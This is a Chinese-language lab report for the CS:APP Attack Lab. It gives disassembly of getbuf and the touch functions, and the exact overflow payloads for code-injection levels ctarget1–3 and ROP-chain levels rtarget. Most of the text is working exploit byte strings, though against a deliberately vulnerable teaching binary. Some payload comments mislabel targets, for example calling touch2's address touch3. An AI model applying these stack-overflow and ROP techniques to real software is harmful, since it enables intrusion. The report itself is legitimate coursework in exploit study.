attacklab实验报告

ctarget1

首先注意到gets溢出的位置getbuf函数:

```
000000000040181e <getbuf>:
40181e: 48 83 ec 28             sub    rsp,0x28
401822: 48 89 e7                mov    rdi,rsp
401825: e8 30 02 00 00          call   401a5a <Gets>
40182a: b8 01 00 00 00          mov    eax,0x1
40182f: 48 83 c4 28             add    rsp,0x28
401833: c3                      ret
```

以及需要到达的的touch1函数:

```
401834: 48 83 ec 08             sub    rsp,0x8
401838: c7 05 ba 2c 20 00 01    mov    DWORD PTR [rip+0x202cba],0x1     # 6044fc <vlevel>
        00 00 00
401842: bf 87 2f 40 00          mov    edi,0x402f87
401847: e8 04 f4 ff ff          call   400c50 <puts@plt>
40184c: bf 01 00 00 00          mov    edi,0x1
401851: e8 f3 03 00 00          call   401c49 <validate>
401856: bf 00 00 00 00          mov    edi,0x0
40185b: e8 90 f5 ff ff          call   400df0 <exit@plt>
```

从而可以看出，我们只要填充0x28(40)个字节即可到达返回地址，故ctarget1的shellcode是先填充任意40个字节，再以小端方式填入touch1的地址0x401834即可。

```
shellcode1:
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00     //fill to 40 bytes
34 18 40 00 00 00 00 00     //offset(touch1())
```

ctarget2

首先查看touch2函数:

```
401860: 48 83 ec 08             sub    rsp,0x8
401864: 89 fe                   mov    esi,edi
401866: c7 05 8c 2c 20 00 02    mov    DWORD PTR [rip+0x202c8c],0x2        # 6044fc <vlevel>
        00 00 00
401870: 3b 3d 8e 2c 20 00       cmp    edi,DWORD PTR [rip+0x202c8e]        # 604504 <cookie>
401876: 75 1b                   jne    401893 <touch2+0x33>
401878: bf b0 2f 40 00          mov    edi,0x402fb0
40187d: b8 00 00 00 00          mov    eax,0x0
401882: e8 f9 f3 ff ff          call   400c80 <printf@plt>
401887: bf 02 00 00 00          mov    edi,0x2
40188c: e8 b8 03 00 00          call   401c49 <validate>
401891: eb 19                   jmp    4018ac <touch2+0x4c>
401893: bf d8 2f 40 00          mov    edi,0x402fd8
401898: b8 00 00 00 00          mov    eax,0x0
40189d: e8 de f3 ff ff          call   400c80 <printf@plt>
4018a2: bf 02 00 00 00          mov    edi,0x2
4018a7: e8 4f 04 00 00          call   401cfb <fail>
4018ac: bf 00 00 00 00          mov    edi,0x0
4018b1: e8 3a f5 ff ff          call   400df0 <exit@plt>
```

可以看到相比于touch1，touch2需要比较cookie和传入参数edi的值，只用两者相等才能成功，因此我们可以考虑第一次返回地址到栈上，而执行完栈上我们输入的指令(mov rdi,0x232add1b ret)后到达touch2地址即可。

```
shellcode2:
48 c7 c7 1b dd 2a 23 c3     //mov rdi,0x232add1b  ret
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00     //fill to 40 bytes
98 f8 61 55 00 00 00 00     //offset(mov rdi,0x232add1b)
60 18 40 00 00 00 00 00     //offset(touch2())
```

ctarget3

首先查看touch3函数:

```
401934: 53                      push   rbx
401935: 48 89 fb                mov    rbx,rdi
401938: c7 05 ba 2b 20 00 03    mov    DWORD PTR [rip+0x202bba],0x3        # 6044fc <vlevel>
        00 00 00
401942: 48 89 fe                mov    rsi,rdi
401945: 8b 3d b9 2b 20 00       mov    edi,DWORD PTR [rip+0x202bb9]        # 604504 <cookie>
40194b: e8 66 ff ff ff          call   4018b6 <hexmatch>
401950: 85 c0                   test   eax,eax
401952: 74 1e                   je     401972 <touch3+0x3e>
401954: 48 89 de                mov    rsi,rbx
401957: bf 00 30 40 00          mov    edi,0x403000
40195c: b8 00 00 00 00          mov    eax,0x0
401961: e8 1a f3 ff ff          call   400c80 <printf@plt>
401966: bf 03 00 00 00          mov    edi,0x3
40196b: e8 d9 02 00 00          call   401c49 <validate>
401970: eb 1c                   jmp    40198e <touch3+0x5a>
401972: 48 89 de                mov    rsi,rbx
401975: bf 28 30 40 00          mov    edi,0x403028
40197a: b8 00 00 00 00          mov    eax,0x0
40197f: e8 fc f2 ff ff          call   400c80 <printf@plt>
401984: bf 03 00 00 00          mov    edi,0x3
401989: e8 6d 03 00 00          call   401cfb <fail>
40198e: bf 00 00 00 00          mov    edi,0x0
401993: e8 58 f4 ff ff          call   400df0 <exit@plt>
```

可以看到hexmatch传入了两个参数，分别是cookie和我们传给touch3的参数，那么再看hexmatch函数:

```
4018b6: 41 54                   push   r12
4018b8: 55                      push   rbp
4018b9: 53                      push   rbx
4018ba: 48 83 ec 70             sub    rsp,0x70
4018be: 41 89 fc                mov    r12d,edi
4018c1: 48 89 f5                mov    rbp,rsi
4018c4: e8 87 f4 ff ff          call   400d50 <random@plt>
4018c9: 48 89 c1                mov    rcx,rax
4018cc: 48 ba 0b d7 a3 70 3d    movabs rdx,0xa3d70a3d70a3d70b
4018d3: 0a d7 a3
4018d6: 48 f7 ea                imul   rdx
4018d9: 48 8d 04 0a             lea    rax,[rdx+rcx*1]
4018dd: 48 c1 f8 06             sar    rax,0x6
4018e1: 48 89 ce                mov    rsi,rcx
4018e4: 48 c1 fe 3f             sar    rsi,0x3f
4018e8: 48 29 f0                sub    rax,rsi
4018eb: 48 8d 04 80             lea    rax,[rax+rax*4]
4018ef: 48 8d 04 80             lea    rax,[rax+rax*4]
4018f3: 48 c1 e0 02             shl    rax,0x2
4018f7: 48 29 c1                sub    rcx,rax
4018fa: 48 8d 1c 0c             lea    rbx,[rsp+rcx*1]
4018fe: 44 89 e2                mov    edx,r12d
401901: be a4 2f 40 00          mov    esi,0x402fa4
401906: 48 89 df                mov    rdi,rbx
401909: b8 00 00 00 00          mov    eax,0x0
40190e: e8 cd f4 ff ff          call   400de0 <sprintf@plt>
401913: ba 09 00 00 00          mov    edx,0x9
401918: 48 89 de                mov    rsi,rbx
40191b: 48 89 ef                mov    rdi,rbp
40191e: e8 0d f3 ff ff          call   400c30 <strncmp@plt>
401923: 85 c0                   test   eax,eax
401925: 0f 94 c0                sete   al
401928: 0f b6 c0                movzx  eax,al
40192b: 48 83 c4 70             add    rsp,0x70
40192f: 5b                      pop    rbx
401930: 5d                      pop    rbp
401931: 41 5c                   pop    r12
401933: c3                      ret
```

虽然函数进行的一系列操作，但我们可以明显看出判断的条件是strncmp，在这里断点动调可知是你传入的参数地址指向的字符串与"232add1b"是否相等，也就是说我们传入的是一个指针，这个指针指向一个"232add1b"的字符串。
所以我们可以采取以下思路：先填充"232add1b"字符串，再填充mov rdi, offset a232add1b指令,接着填充00至40个字节，最后填充mov指令的地址和touch3函数的地址即可。

```
shellcode3:
32 33 32 61 64 64 31 62     //string "232add1b"
00 48 c7 c7 98 f8 61 55     //mov rdi, offset a232add1b
C3 00 00 00 00 00 00 00     //ret
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00     //fill to 40 bytes
A1 F8 61 55 00 00 00 00     //offset(mov rdi, offset a232add1b)
34 19 40 00 00 00 00 00     //offset(touch3())
```

rtarget1

由于本题依然要通过touch2函数，且不允许在栈上执行代码，故根据提示使用rop在farm内寻找指令。最先考虑pop rdi，但很遗憾farm内并没有搜索到这个指令，然后观察到0x4019cb处有如下指令:

```
mov     rdi, rax
retn
```

故我们可以考虑先pop rax，再转到该指令即可，寻找pop rax的机器码58和ret机器码c3，发现0x4019de处有如下指令:

```
pop     rax
nop
retn
```

因此该处符合要求，从而我们的构造思路是40个任意字节+0x4019de+cookie+0x4019cb+offset(touch3())。

```
shellcode4:
00 00 00 00  00 00 00 00
00 00 00 00  00 00 00 00
00 00 00 00  00 00 00 00
00 00 00 00  00 00 00 00
00 00 00 00  00 00 00 00    //fill to 40 bytes
de 19 40 00  00 00 00 00    //offset(pop rax)
1b dd 2a 23  00 00 00 00    //cookie
cb 19 40 00  00 00 00 00    //offset(mov rdi, rax)
60 18 40 00  00 00 00 00    //offset(touch3())
```

rtarget2

由于开启了栈随机化以及栈不可执行，因此考虑将字符串写在栈上的一个位置，再通过一系列mov指令将其转移到rdi内，所以总体思路是:
1.将rsp转移到一个寄存器内
2.将这个寄存器值增加一个偏移量
3.将寄存器的值转移到rdi
最后可以发现如下指令满足要求:

```
401a12 mov     rax, rsp
401a15 nop
401a16 retn

4019ff add     al, 37h
401a01 retn

4019cb mov     rdi, rax
4019ce retn
```

从而构造思路是40个任意字节+0x401a12+0x4019ff+0x4019cb+offset(touch3())+bias+"232add1b"

```
00 00 00 00  00 00 00 00
00 00 00 00  00 00 00 00
00 00 00 00  00 00 00 00
00 00 00 00  00 00 00 00
```

```
00 00 00 00  00 00 00 00    //fill to 40 bytes
12 1A 40 00  00 00 00 00    //offset(mov rax, rsp)
FF 19 40 00  00 00 00 00    //offset(add al, 37h)
CB 19 40 00  00 00 00 00    //offset(mov rdi, rax)
34 19 40 00  00 00 00 00    //offset(touch3())
00 00 00 00  00 00 00 00
00 00 00 00  00 00 00 00
00 00 00 00  00 00 00 00    //bias bytes
00 00 00 00  00 00 00 32    //string "232add1b"
33 32 61 64  64 31 62 00
```